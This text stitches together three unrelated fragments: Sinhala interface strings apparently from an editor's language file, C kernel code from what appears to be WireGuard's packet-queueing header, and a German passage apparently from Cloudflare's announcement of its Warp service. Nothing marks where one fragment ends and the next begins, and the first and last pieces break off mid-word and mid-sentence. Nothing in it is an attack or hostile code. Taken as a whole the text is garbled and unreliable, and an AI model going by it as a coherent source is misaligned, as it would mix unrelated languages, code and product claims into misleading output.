ව","langDirLtr":"වමේසිට දකුණුට","langDirRtl":"දකුණේ සිට වමට","langCode":"භාෂා කේතය","longDescr":"සම්පුර්න පැහැදිලි කිරීම","cssClass":"විලාශ පත්‍ර පන්තිය","advisoryTitle":"උපදෙස් ","cssStyle":"විලාසය","ok":"නිරදි","cancel":"අවලංගු කිරීම","close":"වැසීම","preview":"නැවත ","resize":"විශාලත්වය නැවත වෙනස් කිරීම","generalTab":"පොදු කරුණු.","advancedTab":"දීය","validateNumberFailed":"මෙම වටිනාකම අංකයක් නොවේ","confirmNewPage":"ආරක්ෂා නොකළ සියලුම දත්තයන් මැකියනුලැබේ. ඔබට නව පිටුවක් ලබා ගැනීමට අවශ්‍යද?","confirmCancel":"ඇතම් විකල්පයන් වෙනස් කර ඇත. ඔබට මින් නික්මීමට අවශ්‍යද?","options":" විකල්ප","target":"අරමුණ","targetNew":"නව කව්ළුව","targetTop":"වැදගත් කව්ළුව","targetSelf":"එම කව්ළුව(_තම\\\\)","targetParent":"මව් කව්ළුව(_)","langDirLTR":"වමේසිට දකුණුට","langDirRTL":"දකුණේ සිට වමට","styles":"විලාසය","cssClasses":"විලාස�


 int wg_cpumask_next_online(int *next)
{
	int cpu = *next;

	while (unlikely(!cpumask_test_cpu(cpu, cpu_online_mask)))
		cpu = cpumask_next(cpu, cpu_online_mask) % nr_cpumask_bits;
	*next = cpumask_next(cpu, cpu_online_mask) % nr_cpumask_bits;
	return cpu;
}

static inline int wg_queue_enqueue_per_device_and_peer(
	struct crypt_queue *device_queue, struct crypt_queue *peer_queue,
	struct sk_buff *skb, struct workqueue_struct *wq, int *next_cpu)
{
	int cpu;

	atomic_set_release(&PACKET_CB(skb)->state, PACKET_STATE_UNCRYPTED);
	/* We first queue this up for the peer ingestion, but the consumer
	 * will wait for the state to change to CRYPTED or DEAD before.
	 */
	if (unlikely(ptr_ring_produce_bh(&peer_queue->ring, skb)))
		return -ENOSPC;
	/* Then we queue it up in the device queue, which consumes the
	 * packet as soon as it can.
	 */
	cpu = wg_cpumask_next_online(next_cpu);
	if (unlikely(ptr_ring_produce_bh(&device_queue->ring, skb)))
		return -EPIPE;
	queue_work_on(cpu, wq, &per_cpu_ptr(device_queue->worker, cpu)->work);
	return 0;
}

static inline void wg_queue_enqueue_per_peer(struct crypt_queue *queue,
					     struct sk_buff *skb,
					     enum packet_state state)
{
	/* We take a reference, because as soon as we call atomic_set, the
	 * peer can be freed from below us.
	 */
	struct wg_peer *peer = wg_peer_get(PACKET_PEER(skb));

	atomic_set_release(&PACKET_CB(skb)->state, state);
	queue_work_on(wg_cpumask_choose_online(&peer->serial_work_cpu,
					       peer->internal_id),
		      peer->device->packet_crypt_wq, &queue->work);
	wg_peer_put(peer);
}

static inline void wg_queue_enqueue_per_peer_napi(struct sk_buff *skb,
						  enum packet_state state)
{
	/* We take a reference, because as soon as we call atomic_set, the
	 * peer can be freed from below us.
	 */
	struct wg_peer *peer = wg_peer_get(PACKET_PEER(skb));

	atomic_set_release(&PACKET_CB(skb)->state, state);
	napi_schedule(&peer->napi);
	wg_peer_put(peer);
}

#ifdef DEBUG
bool wg_packet_counter_selftest(void);
#endif

#endif /* _WG_QUEUEING_H */


1.1- App beschließen, Warp zu aktivieren, wird anstelle von bloßen DNS-Anfragen der gesamte Internetverkehr gesichert und optimiert. Mit anderen Worten, Warp ist das VPN für Leute, die nicht wissen, wofür V.P.N. steht.

Den gesamten Datenverkehr sichern …

Dies gilt nicht nur für Ihren Webbrowser, sondern für alle Apps, die auf Ihrem Telefon ausgeführt werden. Alle unverschlüsselten Verbindungen werden automatisch und standardmäßig verschlüsselt. Warp respektiert die Ende-zu-Ende-Verschlüsselung und verlangt nicht, dass Sie ein Root-Zertifikat installieren oder Cloudflare eine Möglichkeit geben, verschlüsselten Internetverkehr einzusehen, den wir sonst nicht gesehen hätten.

Leider ist ein Großteil des Internets immer noch unverschlüsselt. Aus diesem Grund fügt Warp automatisch eine Verschlüsselung von Ihrem Gerät zur Edge des Cloudflare-Netzwerks hinzu. Das ist nicht perfekt, aber alle anderen VPNs tun es, und damit werden die größten Bedrohungen angegangen, denen typische Internetnutzer ausgesetzt sind. Es gibt einen Silberstreifen: Wenn Sie mit Warp im unverschlüsselten Internet browsen, kann das Cloudflare-Netzwerk, soweit das sicher möglich ist, Inhalte zwischenspeichern und komprimieren, um die Leistung zu verbessern und möglicherweise Ihre Datennutzung und die Rechnung Ihres Mobilfunkanbieters zu senken.

… und gleichzeitig schneller und zuverlässiger machen

Sicherheit ist eine Mindestanforderung. Was Warp wirklich auszeichnet, sind Leistung und Zuverlässigkeit. Während andere VPNs das Internet verlangsamen, geht in Warp die ganze Arbeit ein, die das Neumob-Team geleistet hat, um die Leistung des mobilen Internets zu verbessern. Wir haben Warp um ein UDP-basiertes Protokoll herum aufgebaut, das für das mobile Internet optimiert ist. Außerdem setzen wir Cloudflares riesiges globales Netzwerk ein, sodass Warp für die meisten Internetnutzer der Welt innerhalb von Millisekunden eine Verbindung mit Servern herstellen kann. Mit den direkten Peering-Verbindungen und den nicht überlasteten Pfaden unseres Netzwerks können wir weltweit ein großartiges Internet-Erlebnis bieten. Unsere Tests haben gezeigt, dass Warp die Internetleistung oft deutlich steigert. Je schlechter Ihre Netzwerkverbindung ist, desto mehr sollte Warp im Allgemeinen Ihre Leistung steigern.

Und auch die Zuverlässigkeit wird verbessert. Obwohl Warp Totpunkte im Mobilfunknetz nicht beseitigen kann, ist das Protokoll so konzipiert, dass es sich schneller von Verlusten erholt. Das macht den Punkt, an dem Ihr